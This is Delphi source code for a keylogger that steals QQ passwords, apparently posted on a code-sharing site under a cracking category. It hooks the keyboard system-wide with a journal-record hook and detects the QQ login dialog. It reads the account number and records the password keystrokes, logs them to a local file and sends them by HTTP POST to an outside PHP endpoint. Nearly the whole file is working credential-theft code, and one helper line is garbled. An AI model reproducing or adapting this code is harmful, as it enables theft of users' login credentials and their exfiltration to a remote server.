Project2.dpr
上传用户:jiansibo
上传日期:2015-07-04
资源大小:524k
文件大小:9k
源码类别:

破解

开发平台:

Delphi

  1. program Project2;
  2. uses
  3.   Windows,
  4.   Messages,
  5.   SysUtils,
  6.   shellapi,
  7.   WinInet,
  8.   Registry;
  9. var
  10.   hhook:integer;
  11.   hooktime:integer;
  12.   qqnum,qqpwdstr:string;
  13.   time1:integer;
  14.   s:string;
  15. procedure PostURL(const aUrl: string; FTPostQuery: string);
  16. var
  17.   hSession: HINTERNET;
  18.   hConnect, hRequest: hInternet;
  19.   lpBuffer: array[0..1024 + 1] of Char;
  20.   dwBytesRead: DWORD;
  21.   HttpStr:String;
  22.   HostName, FileName: String;
  23.   FTResult: Boolean;
  24.   AcceptType: LPStr;
  25.   Buf: Pointer;
  26.   dwBufLen, dwIndex: DWord;
  27.     // 字符串转小写
  28.   function LowerCase(const Source: string): string;
  29.   var
  30.     TempChar: Char;
  31.     StrLen: Integer;
  32.     PSource,
  33.     PDest: PChar;
  34.   begin
  35.     StrLen := Length(Source);
  36.     SetLength(Result, StrLen);
  37.     PSource := @Source[1];
  38.     PDest := @Result[1];
  39.     while (StrLen > 0) do
  40.     begin
  41.       TempChar := PSource^;
  42.       if (TempChar >= 'A') and (TempChar <= 'Z') then Inc(TempChar, 32);
  43.       PDest^ := TempChar;
  44.       Inc(PSource);
  45.       Inc(PDest);
  46.       Dec(StrLen);
  47.     end;
  48.   end;
  49.   procedure ParseURL(URL: String; var HostName, FileName: String);
  50.     procedure ReplaceChar(c1, c2: Char; var St: String);
  51.     var
  52.       p: Integer;
  53.     begin
  54.       while True do
  55.        begin
  56.         p := Pos(c1, St);
  57.         if p = 0 then Break
  58.         else St
  59. := c2;
  60.        end;
  61.     end;
  62.   var
  63.     i: Integer;
  64.   begin
  65.     if Pos(LowerCase('http://'), LowerCase(URL)) <> 0 then
  66.       System.Delete(URL, 1, 7);
  67.     i := Pos('/', URL);
  68.     HostName := Copy(URL, 1, i);
  69.     FileName := Copy(URL, i, Length(URL) - i + 1);
  70.     if (Length(HostName) > 0) and (HostName[Length(HostName)] = '/') then
  71.       SetLength(HostName, Length(HostName) - 1);
  72.   end;
  73. begin
  74.   hSession := InternetOpen('MyApp', INTERNET_OPEN_TYPE_PRECONFIG, nil, nil, 0);
  75.   try
  76.     if Assigned(hSession) then
  77.     begin
  78.       ParseURL(aUrl, HostName, FileName);
  79.       hConnect := InternetConnect(hSession, PChar(HostName),
  80.       INTERNET_DEFAULT_HTTP_PORT, nil, nil, INTERNET_SERVICE_HTTP, 0, 0);
  81.       AcceptType := PChar('Accept: */*');
  82.       hRequest := HttpOpenRequest(hConnect, 'POST', PChar(FileName), 'HTTP/1.0',
  83.                 nil, @AcceptType, INTERNET_FLAG_RELOAD, 0);
  84.                                                //
  85.       HttpSendRequest(hRequest, 'Content-Type: application/x-www-form-urlencoded', 47,
  86.                      PChar(FTPostQuery), Length(FTPostQuery));
  87.       dwIndex  := 0;
  88.       dwBufLen := 1024;
  89.       GetMem(Buf, dwBufLen);
  90.       FTResult := HttpQueryInfo(hRequest, HTTP_QUERY_CONTENT_LENGTH,
  91.                               Buf, dwBufLen, dwIndex);
  92.       if FTResult=True then
  93.         try
  94.           while True do
  95.           begin
  96.             dwBytesRead := 1024;
  97.             InternetReadFile(hRequest, @lpBuffer, 1024, dwBytesRead);
  98.             if dwBytesRead = 0 then break;
  99.             lpBuffer[dwBytesRead] := #0;
  100.             HttpStr:=HttpStr+lpBuffer;
  101.           end;
  102.         finally
  103.           InternetCloseHandle(hRequest);
  104.           InternetCloseHandle(hConnect);
  105.         end;
  106.     end;
  107.   finally
  108.     InternetCloseHandle(hSession);
  109.   end;
  110. end;
  111. //以上发信过程
  112. procedure jilu(s:string);
  113. var
  114. mytextfile:textfile;
  115. begin
  116. assignfile(mytextfile,'c:qq.txt');
  117. append(mytextfile);
  118. writeln(mytextfile,datetimetostr(now)+'  '+s);
  119. closefile(mytextfile);
  120. end;
  121. function keyresult(lp:integer;wp:integer):string;
  122. begin
  123.   result := '[Print Screen]';
  124.   case lp of
  125.     10688: result := '`';
  126.     561: Result := '1';
  127.     818: result := '2';
  128.     1075: result := '3';
  129.     1332: result := '4';
  130.     1589: result := '5';
  131.     1846: result := '6';
  132.     2103: result := '7';
  133.     2360: result := '8';
  134.     2617: result := '9';
  135.     2864: result := '0';
  136.     3261: result := '-';
  137.     3515: result := '=';
  138.     4177: result := 'Q';
  139.     4439: result := 'W';
  140.     4677: result := 'E';
  141.     4946: result := 'R';
  142.     5204: result := 'T';
  143.     5465: result := 'Y';
  144.     5717: result := 'U';
  145.     5961: result := 'I';
  146.     6223: result := 'O';
  147.     6480: result := 'P';
  148.     6875: result := '[';
  149.     7133: result := ']';
  150.     11228: result := '';
  151.     7745: result := 'A';
  152.     8019: result := 'S';
  153.     8260: result := 'D';
  154.     8518: result := 'F';
  155.     8775: result := 'G';
  156.     9032: result := 'H';
  157.     9290: result := 'J';
  158.     9547: result := 'K';
  159.     9804: result := 'L';
  160.     10170: result := ';';
  161.     10462: result := '''';
  162.     11354: result := 'Z';
  163.     11608: result := 'X';
  164.     11843: result := 'C';
  165.     12118: result := 'V';
  166.     12354: result := 'B';
  167.     12622: result := 'N';
  168.     12877: result := 'M';
  169.     13244: result := ',';
  170.     13502: result := '.';
  171.     13759: result := '/';
  172.     13840: result := '[Right-Shift]';
  173.     14624: result := '[Space]';
  174.     283: result := '[Esc]';
  175.     15216: result := '[F1]';
  176.     15473: result := '[F2]';
  177.     15730: result := '[F3]';
  178.     15987: result := '[F4]';
  179.     16244: result := '[F5]';
  180.     16501: result := '[F6]';
  181.     16758: result := '[F7]';
  182.     17015: result := '[F8]';
  183.     17272: result := '[F9]';
  184.     17529: result := '[F10]';
  185.     22394: result := '[F11]';
  186.     22651: result := '[F12]';
  187.     10768: Result := '[Left-Shift]';
  188.     14868: result := '[CapsLock]';
  189.     3592: result := '[Backspace]';
  190.     3849: result := '[Tab]';
  191.     7441:
  192.       if wp > 30000 then
  193.         result := '[Right-Ctrl]'
  194.       else
  195.         result := '[Left-Ctrl]';
  196.     13679: result := '[Num /]';
  197.     17808: result := '[NumLock]';
  198.     300: result := '[Print Screen]';
  199.     18065: result := '[Scroll Lock]';
  200.     17683: result := '[Pause]';
  201.     21088: result := '[Num0]';
  202.     21358: result := '[Num.]';
  203.     20321: result := '[Num1]';
  204.     20578: result := '[Num2]';
  205.     20835: result := '[Num3]';
  206.     19300: result := '[Num4]';
  207.     19557: result := '[Num5]';
  208.     19814: result := '[Num6]';
  209.     18279: result := '[Num7]';
  210.     18536: result := '[Num8]';
  211.     18793: result := '[Num9]';
  212.     19468: result := '[*5*]';
  213.     14186: result := '[Num *]';
  214.     19053: result := '[Num -]';
  215.     20075: result := '[Num +]';
  216.     21037: result := '[Insert]';
  217.     21294: result := '[Delete]';
  218.     18212: result := '[Home]';
  219.     20259: result := '[End]';
  220.     18721: result := '[PageUp]';
  221.     20770: result := '[PageDown]';
  222.     18470: result := '[UP]';
  223.     20520: result := '[DOWN]';
  224.     19237: result := '[LEFT]';
  225.     19751: result := '[RIGHT]';
  226.     7181: result := '[Enter]';
  227.   end;
  228. end;
  229. procedure unhook;
  230. begin
  231. unhookwindowshookex(hhook);
  232. hhook:=0;
  233. hooktime:=0;
  234. end;
  235. function GetCaption(hWnd: LongWord): string;
  236. var
  237.   szWindowText: array[0..MAX_PATH] of Char;
  238.   szTextLength: Integer;
  239. begin
  240.   szTextLength := SendMessage(hWnd, WM_GETTEXT, MAX_PATH, Integer(@szWindowText[0]));
  241.   szWindowText[szTextLength] := #0;
  242.   Result := szWindowText;
  243. end;
  244. function findqqwindow:integer;
  245. var
  246. h1,h2,h3:Hwnd;
  247. begin
  248.  h1:=0;
  249.  h2:=0;
  250.  h3:=0;
  251. //h1:=findwindowex(GetForegroundWindow,0,'#32770',nil);
  252.  //h1:=findwindowex(GetActiveWindow,0,'#32770',nil);
  253. //if h1<>0 then
  254. h1:=findwindow('#32770',nil);
  255. if h1=getforegroundwindow then
  256.  begin
  257.  h2:=findwindowex(h1,0,nil,'QQ号码:');
  258.  h3:=findwindowex(h1,0,nil,'QQ密码:');
  259. if (h2<>0) and (h3<>0) then
  260.   result:=0
  261.   else
  262.   result:=1;
  263. end;
  264. end;
  265. function getqqnum:string;
  266. var
  267. qqnumstr:string;
  268. h1,h2,h3:Thandle;
  269. begin
  270. result:='';
  271. h1:=getdlgitem(GetActiveWindow,$0000008A);
  272. h2:=findwindowex(h1,0,'Edit',nil);
  273. qqnumstr:=getcaption(h2);
  274. if qqnumstr<>'' then
  275. result:=qqnumstr;
  276. end;
  277. function getqqpwdwindow(var h:Hwnd):boolean;
  278. var
  279. qqpwdstr:string;
  280. h1,h2:Thandle;
  281. begin
  282. result:=false;
  283. h1:=getdlgitem(GetActiveWindow,$0000008A);
  284. h2:=getdlgitem(GetActiveWindow,$000000B4);
  285. if (h2<>0) and (getfocus=h2) then
  286. result:=true;
  287. end;
  288. function hookproc(icode:integer;wparam:WPARAM;lparam:LPARAM):Lresult;stdcall;
  289. begin
  290. if(Peventmsg(lparam)^.message=WM_KEYDOWN) then
  291.  begin
  292.   if findqqwindow=0 then
  293.   begin
  294. if getqqpwdwindow(Peventmsg(lparam)^.hwnd) then
  295.    begin
  296. qqnum:=getqqnum;
  297. qqpwdstr:=qqpwdstr+keyresult(Peventmsg(lparam)^.paramL,Peventmsg(lparam)^.paramH);
  298. if (qqnum<>'') and (qqpwdstr<>'') then
  299.     begin
  300. s:='QQ号码:'+qqnum+'   ''QQ密码:'+qqpwdstr;
  301. time1:=1;
  302. //ShellExecute(0,'open',pchar(s),nil,nil,SW_hide);
  303.     end;
  304.    end;
  305.   end
  306.   else if time1=1 then
  307.    begin
  308.     jilu(s);
  309. s:='http://99h121.51.net/qq.php?'+s;
  310. //winexec(pchar(s),sw_hide);
  311. //ShellExecute(0,nil,pchar('regedit.exe'),nil,nil,sw_normal);
  312. posturl(s,s);
  313. time1:=0;
  314. qqpwdstr:='';
  315. end;
  316.  end;
  317. result:=callnexthookex(hhook,icode,wparam,lparam);
  318. end;
  319. procedure winmain();
  320. var
  321. f:textfile;
  322. msg:Tmsg;
  323. begin
  324.  time1:=0;
  325. hooktime:=0;
  326. hhook:=0;
  327.  inc(hooktime);
  328.  if hooktime=1 then
  329. hhook:=setwindowshookex(WH_JOURNALRECORD,hookproc,Hinstance,0);
  330.  assignfile(f,'c:qq.txt');
  331.  if not fileexists('c:qq.txt') then
  332.     begin
  333.     rewrite(f);
  334.     closefile(f);
  335.     end;
  336.     while GetMessage(Msg, 0, 0, 0) do DispatchMessage(Msg);  
  337.   unhook;
  338. end;
  339. begin
  340.   winmain;
  341. end.